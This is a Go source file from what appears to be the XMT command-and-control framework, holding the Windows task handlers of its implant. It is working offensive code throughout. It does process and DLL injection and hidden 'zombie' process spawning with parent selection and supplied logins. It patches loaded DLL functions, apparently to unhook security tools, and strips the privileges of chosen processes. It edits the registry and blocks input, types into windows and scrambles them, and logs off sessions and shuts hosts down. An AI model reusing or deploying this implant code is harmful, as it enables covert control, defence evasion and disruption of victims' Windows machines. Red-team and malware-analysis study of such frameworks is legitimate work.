github.com/iDigitalFlame/xmt@v0.5.4/c2/task/y_windows.go (about) 1 //go:build windows 2 // +build windows 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package task 21 22 import ( 23 "bytes" 24 "context" 25 "os" 26 "time" 27 28 "github.com/iDigitalFlame/xmt/cmd" 29 "github.com/iDigitalFlame/xmt/cmd/filter" 30 "github.com/iDigitalFlame/xmt/data" 31 "github.com/iDigitalFlame/xmt/device/regedit" 32 "github.com/iDigitalFlame/xmt/device/winapi" 33 "github.com/iDigitalFlame/xmt/device/winapi/registry" 34 "github.com/iDigitalFlame/xmt/util" 35 "github.com/iDigitalFlame/xmt/util/xerr" 36 ) 37 38 func randMod(v int32) int32 { 39 n := int32(util.FastRandN(256)) 40 if util.FastRandN(2) == 0 { 41 return n + v 42 } 43 return v - n 44 } 45 func taskTroll(x context.Context, r data.Reader, _ data.Writer) error { 46 t, err := r.Uint8() 47 if err != nil { 48 return err 49 } 50 switch t { 51 case taskTrollHcEnable, taskTrollHcDisable: 52 return winapi.SetHighContrast(t == taskTrollHcEnable) 53 case taskTrollSwapEnable, taskTrollSwapDisable: 54 return winapi.SwapMouseButtons(t == taskTrollSwapEnable) 55 case taskTrollBlockInputEnable, taskTrollBlockInputDisable: 56 return winapi.BlockInput(t == taskTrollBlockInputEnable) 57 case taskTrollWallpaperPath: 58 s, err := r.StringVal() 59 if err != nil { 60 return err 61 } 62 return winapi.SetWallpaper(s) 63 case taskTrollWallpaper: 64 return taskTrollSetWallpaper(r) 65 case taskTrollWTF: 66 d, err := r.Int64() 67 if err != nil { 68 return err 69 } 70 if d <= 0 { 71 return nil 72 } 73 var ( 74 z = time.NewTimer(time.Duration(d)) 75 v = time.NewTicker(time.Millisecond * time.Duration(250+util.FastRandN(250))) 76 ) 77 loop: 78 for { 79 select { 80 case <-v.C: 81 e, err := winapi.TopLevelWindows() 82 if err != nil { 83 break 84 } 85 switch h := e[util.FastRandN(len(e))]; util.FastRandN(3) { 86 case 0: 87 winapi.ShowWindow(h.Handle, uint8(1+util.FastRandN(12))) 88 case 1: 89 winapi.SetWindowTransparency(h.Handle, uint8(util.FastRandN(256))) 90 case 2: 91 winapi.SetWindowPos(h.Handle, randMod(h.X), randMod(h.Y), randMod(h.Width), randMod(h.Height)) 92 } 93 case <-z.C: 94 break loop 95 case <-x.Done(): 96 break loop 97 } 98 } 99 v.Stop() 100 z.Stop() 101 return winapi.SetWindowTransparency(0, 255) 102 } 103 return xerr.Sub("invalid operation", 0x68) 104 } 105 func taskCheck(_ context.Context, r data.Reader, w data.Writer) error { 106 var ( 107 a uint32 108 b []byte 109 v bool 110 err error 111 n, f string 112 ) 113 // NOTE(dij): Do these escape? 114 // Sometimes the compiler thinks so. 115 if err = r.ReadString(&n); err != nil { 116 return err 117 } 118 if err = r.ReadString(&f); err != nil { 119 return err 120 } 121 if err = r.ReadUint32(&a); err != nil { 122 return nil 123 } 124 if err = r.ReadBytes(&b); err != nil { 125 return err 126 } 127 switch { 128 case len(f) > 0: 129 if a == 1 && len(b) == 0 { 130 if b, err = winapi.ExtractDLLFunction(n, f, 16); err != nil { 131 return err 132 } 133 } 134 v, err = winapi.CheckFunction(n, f, b) 135 case len(b) > 0: 136 v, err = winapi.CheckDLL(n, a, b) 137 default: 138 v, err = winapi.CheckDLLFile(n) 139 } 140 if err != nil { 141 return err 142 } 143 w.WriteBool(v) 144 return nil 145 } 146 func taskPatch(_ context.Context, r data.Reader, w data.Writer) error { 147 var ( 148 a uint32 149 b []byte 150 n, f string 151 ) 152 // NOTE(dij): Do these escape? 153 // Sometimes the compiler thinks so. 154 if err := r.ReadString(&n); err != nil { 155 return err 156 } 157 if err := r.ReadString(&f); err != nil { 158 return err 159 } 160 if err := r.ReadUint32(&a); err != nil { 161 return nil 162 } 163 if err := r.ReadBytes(&b); err != nil { 164 return err 165 } 166 if len(f) == 0 { 167 if len(b) == 0 { 168 return winapi.PatchDLLFile(n) 169 } 170 return winapi.PatchDLL(n, a, b) 171 } 172 if len(b) == 0 { 173 var err error 174 if b, err = winapi.ExtractDLLFunction(n, f, 16); err != nil { 175 return err 176 } 177 } 178 return winapi.PatchFunction(n, f, b) 179 } 180 func taskInject(x context.Context, r data.Reader, w data.Writer) error { 181 d, z, v, err := DLLUnmarshal(x, r) 182 if err != nil { 183 return err 184 } 185 if err = d.Start(); err != nil { 186 if v { 187 os.Remove(d.Path) 188 } 189 return err 190 } 191 h, _ := d.Handle() 192 if w.WriteUint64(uint64(h)); !z { 193 if w.WriteUint64(uint64(d.Pid()) << 32); v { 194 go waitThenDelete(d, d.Path) 195 } else { 196 d.Release() 197 } 198 return nil 199 } 200 w.WriteUint32(d.Pid()) 201 if err = d.Wait(); v { 202 os.Remove(d.Path) 203 } 204 if _, ok := err.(*cmd.ExitError); err != nil && !ok { 205 return err 206 } 207 c, _ := d.ExitCode() 208 w.WriteInt32(c) 209 return nil 210 } 211 func taskZombie(x context.Context, r data.Reader, w data.Writer) error { 212 z, f, err := ZombieUnmarshal(x, r) 213 if err != nil { 214 return err 215 } 216 if f { 217 w.WriteUint64(0) 218 z.Stdout, z.Stderr = w, w 219 } 220 if err = z.Start(); err != nil { 221 z.Stdout, z.Stderr = nil, nil 222 return err 223 } 224 if z.Stdin = nil; !f { 225 w.WriteUint64(uint64(z.Pid()) << 32) 226 z.Release() 227 return nil 228 } 229 i := z.Pid() 230 err, z.Stdout, z.Stderr = z.Wait(), nil, nil 231 if _, ok := err.(*cmd.ExitError); err != nil && !ok { 232 return err 233 } 234 var ( 235 c, _ = z.ExitCode() 236 s, _ = w.(backer) 237 ) 238 if s == nil { 239 return nil 240 } 241 s.WriteUint32Pos(0, i) 242 s.WriteUint32Pos(4, uint32(c)) 243 return nil 244 } 245 func taskUntrust(_ context.Context, r data.Reader, _ data.Writer) error { 246 var f filter.Filter 247 if err := f.UnmarshalStream(r); err != nil { 248 return err 249 } 250 if f.Empty() { 251 return filter.ErrNoProcessFound 252 } 253 p, err := f.SelectFunc(nil) 254 if err != nil { 255 return err 256 } 257 return winapi.Untrust(p) 258 } 259 func taskFuncMap(_ context.Context, r data.Reader, _ data.Writer) error { 260 v, err := r.Uint8() 261 if err != nil { 262 return err 263 } 264 if v == taskFuncMapUnmapAll { 265 return winapi.FuncUnmapAll() 266 } 267 h, err := r.Uint32() 268 if err != nil { 269 return err 270 } 271 switch v { 272 case taskFuncMapMap: 273 b, err := r.Bytes() 274 if err != nil { 275 return err 276 } 277 return winapi.FuncRemapHash(h, b) 278 case taskFuncMapUnmap: 279 return winapi.FuncUnmapHash(h) 280 } 281 return xerr.Sub("invalid operation", 0x68) 282 } 283 func taskRegistry(_ context.Context, r data.Reader, w data.Writer) error { 284 var ( 285 o uint8 286 k string 287 err = r.ReadUint8(&o) 288 ) 289 if err != nil { 290 return err 291 } 292 if err = r.ReadString(&k); err != nil { 293 return err 294 } 295 if o > regOpSetStringList { 296 return registry.ErrUnexpectedType 297 } 298 if len(k) == 0 { 299 return xerr.Sub("empty key name", 0x6C) 300 } 301 switch w.WriteUint8(o); o { 302 case regOpLs: 303 e, err1 := regedit.Dir(k) 304 if err1 != nil { 305 return err1 306 } 307 w.WriteUint32(uint32(len(e))) 308 for i := range e { 309 if err = e[i].MarshalStream(w); err != nil { 310 return err 311 } 312 } 313 return nil 314 case regOpMake: 315 return regedit.MakeKey(k) 316 case regOpDeleteKey: 317 f, err1 := r.Bool() 318 if err1 != nil { 319 return err1 320 } 321 return regedit.DeleteKey(k, f) 322 } 323 v, err := r.StringVal() 324 if err != nil { 325 return err 326 } 327 if len(v) == 0 { 328 return xerr.Sub("empty value name", 0x6D) 329 } 330 switch o { 331 case regOpGet: 332 x, err1 := regedit.Get(k, v) 333 if err1 != nil { 334 return err1 335 } 336 x.MarshalStream(w) 337 return nil 338 case regOpSet: 339 t, err1 := r.Uint32() 340 if err1 != nil { 341 return err1 342 } 343 b, err1 := r.Bytes() 344 if err1 != nil { 345 return err1 346 } 347 return regedit.Set(k, v, t, b) 348 case regOpDelete: 349 f, err1 := r.Bool() 350 if err1 != nil { 351 return err1 352 } 353 return regedit.DeleteEx(k, v, f) 354 case regOpSetDword: 355 d, err1 := r.Uint32() 356 if err1 != nil { 357 return err1 358 } 359 return regedit.SetDword(k, v, d) 360 case regOpSetQword: 361 d, err1 := r.Uint64() 362 if err1 != nil { 363 return err1 364 } 365 return regedit.SetQword(k, v, d) 366 case regOpSetBytes: 367 b, err1 := r.Bytes() 368 if err1 != nil { 369 return err1 370 } 371 return regedit.SetBytes(k, v, b) 372 case regOpSetString: 373 s, err1 := r.StringVal() 374 if err1 != nil { 375 return err1 376 } 377 return regedit.SetString(k, v, s) 378 case regOpSetStringList: 379 var l []string 380 if err = data.ReadStringList(r, &l); err != nil { 381 return err 382 } 383 return regedit.SetStrings(k, v, l) 384 case regOpSetExpandString: 385 s, err1 := r.StringVal() 386 if err1 != nil { 387 return err1 388 } 389 return regedit.SetExpandString(k, v, s) 390 } 391 return registry.ErrUnexpectedType 392 } 393 func taskInteract(_ context.Context, r data.Reader, w data.Writer) error { 394 t, err := r.Uint8() 395 if err != nil { 396 return err 397 } 398 var h uint64 399 if err = r.ReadUint64(&h); err != nil { 400 return err 401 } 402 switch t { 403 case taskWindowTransparency: 404 var v uint8 405 if err = r.ReadUint8(&v); err != nil { 406 return err 407 } 408 // NOTE(dij): Do these escape? 409 // Sometimes the compiler thinks so. 410 return winapi.SetWindowTransparency(uintptr(h), v) 411 case taskWindowEnable, taskWindowDisable: 412 _, err = winapi.EnableWindow(uintptr(h), t == taskWindowEnable) 413 return err 414 case taskWindowShow: 415 var v uint8 416 if err = r.ReadUint8(&v); err != nil { 417 return err 418 } 419 // NOTE(dij): Do these escape? 420 // Sometimes the compiler thinks so. 421 _, err = winapi.ShowWindow(uintptr(h), v) 422 return err 423 case taskWindowClose: 424 return winapi.CloseWindow(uintptr(h)) 425 case taskWindowMessage: 426 var ( 427 t, d string 428 f uint32 429 ) 430 if err = r.ReadUint32(&f); err != nil { 431 return err 432 } 433 if err = r.ReadString(&t); err != nil { 434 return err 435 } 436 if err = r.ReadString(&d); err != nil { 437 return err 438 } 439 // NOTE(dij): Do these escape? 440 // Sometimes the compiler thinks so. 441 o, err := winapi.MessageBox(uintptr(h), d, t, f) 442 if err != nil { 443 return err 444 } 445 w.WriteUint32(o) 446 return nil 447 case taskWindowMove: 448 var x, y, w, v int32 449 if err = r.ReadInt32(&x); err != nil { 450 return err 451 } 452 if err = r.ReadInt32(&y); err != nil { 453 return err 454 } 455 if err = r.ReadInt32(&w); err != nil { 456 return err 457 } 458 if err = r.ReadInt32(&v); err != nil { 459 return err 460 } 461 // NOTE(dij): Do these escape? 462 // Sometimes the compiler thinks so. 463 return winapi.SetWindowPos(uintptr(h), x, y, w, v) 464 case taskWindowFocus: 465 return winapi.SetForegroundWindow(uintptr(h)) 466 case taskWindowType: 467 var t string 468 if err = r.ReadString(&t); err != nil { 469 return err 470 } 471 return winapi.SendInput(uintptr(h), t) 472 } 473 return xerr.Sub("invalid operation", 0x68) 474 } 475 func taskShutdown(_ context.Context, r data.Reader, _ data.Writer) error { 476 m, err := r.StringVal() 477 if err != nil { 478 return err 479 } 480 t, err := r.Uint32() 481 if err != nil { 482 return err 483 } 484 c, err := r.Uint32() 485 if err != nil { 486 return err 487 } 488 v, err := r.Uint8() 489 if err != nil { 490 return err 491 } 492 winapi.EnablePrivileges("SeShutdownPrivilege") 493 return winapi.InitiateSystemShutdownEx("", m, t, v&2 != 0, v&1 != 0, c) 494 } 495 func taskLoginsAct(_ context.Context, r data.Reader, w data.Writer) error { 496 a, err := r.Uint8() 497 if err != nil { 498 return err 499 } 500 s, err := r.Int32() 501 if err != nil { 502 return err 503 } 504 switch a { 505 case taskLoginsDisconnect: 506 return winapi.WTSDisconnectSession(0, s, false) 507 case taskLoginsLogoff: 508 return winapi.WTSLogoffSession(0, s, false) 509 case taskLoginsMessage: 510 var ( 511 t, d string 512 f, x uint32 513 v bool 514 ) 515 // NOTE(dij): Do these escape? 516 // Sometimes the compiler thinks so. 517 if err = r.ReadUint32(&f); err != nil { 518 return err 519 } 520 if err = r.ReadUint32(&x); err != nil { 521 return err 522 } 523 if err = r.ReadBool(&v); err != nil { 524 return err 525 } 526 if err = r.ReadString(&t); err != nil { 527 return err 528 } 529 if err = r.ReadString(&d); err != nil { 530 return err 531 } 532 o, err := winapi.WTSSendMessage(0, s, t, d, f, x, v) 533 if err != nil { 534 return err 535 } 536 w.WriteUint32(o) 537 return nil 538 } 539 return xerr.Sub("invalid operation", 0x68) 540 } 541 func taskLoginsProc(_ context.Context, r data.Reader, w data.Writer) error { 542 s, err := r.Int32() 543 if err != nil { 544 return err 545 } 546 e, err := winapi.WTSEnumerateProcesses(0, s) 547 if err != nil { 548 return err 549 } 550 if err = w.WriteUint32(uint32(len(e))); err != nil { 551 return err 552 } 553 if len(e) == 0 { 554 return nil 555 } 556 for i, m := uint32(0), uint32(len(e)); i < m; i++ { 557 if err = e[i].MarshalStream(w); err != nil { 558 return err 559 } 560 } 561 return nil 562 } 563 func taskWindowList(_ context.Context, _ data.Reader, w data.Writer) error { 564 e, err := winapi.TopLevelWindows() 565 if err != nil { 566 return err 567 } 568 if err = w.WriteUint32(uint32(len(e))); err != nil { 569 return err 570 } 571 if len(e) == 0 { 572 return nil 573 } 574 for i, m := uint32(0), uint32(len(e)); i < m; i++ { 575 if err = e[i].MarshalStream(w); err != nil { 576 return err 577 } 578 } 579 return nil 580 } 581 func taskFuncMapList(_ context.Context, _ data.Reader, w data.Writer) error { 582 var ( 583 e = winapi.FuncRemapList() 584 err = w.WriteUint32(uint32(len(e))) 585 ) 586 if err != nil { 587 return err 588 } 589 if len(e) == 0 { 590 return nil 591 } 592 for i, m := uint32(0), uint32(len(e)); i < m; i++ { 593 if err = e[i].MarshalStream(w); err != nil { 594 return err 595 } 596 } 597 return nil 598 } 599 600 // ZombieUnmarshal will read this Zombies's struct data from the supplied reader 601 // and returns a Zombie runnable struct along with the wait status boolean. 602 // 603 // This function returns an error if building or reading fails or if the device 604 // is not running Windows. 605 func ZombieUnmarshal(x context.Context, r data.Reader) (*cmd.Zombie, bool, error) { 606 var z Zombie 607 if err := z.UnmarshalStream(r); err != nil { 608 return nil, false, err 609 } 610 if len(z.Args) == 0 || len(z.Data) == 0 { 611 return nil, false, cmd.ErrEmptyCommand 612 } 613 v := cmd.NewZombieContext(x, z.Data, z.Args...) 614 if v.SetFlags(z.Flags); z.Hide { 615 v.SetNoWindow(true) 616 v.SetWindowDisplay(0) 617 } 618 if v.SetParent(z.Filter); len(z.Stdin) > 0 { 619 v.Stdin = bytes.NewReader(z.Stdin) 620 } 621 if v.Timeout, v.Dir, v.Env = z.Timeout, z.Dir, z.Env; len(z.User) > 0 { 622 v.SetLogin(z.User, z.Domain, z.Pass) 623 } 624 return v, z.Wait, nil 625 }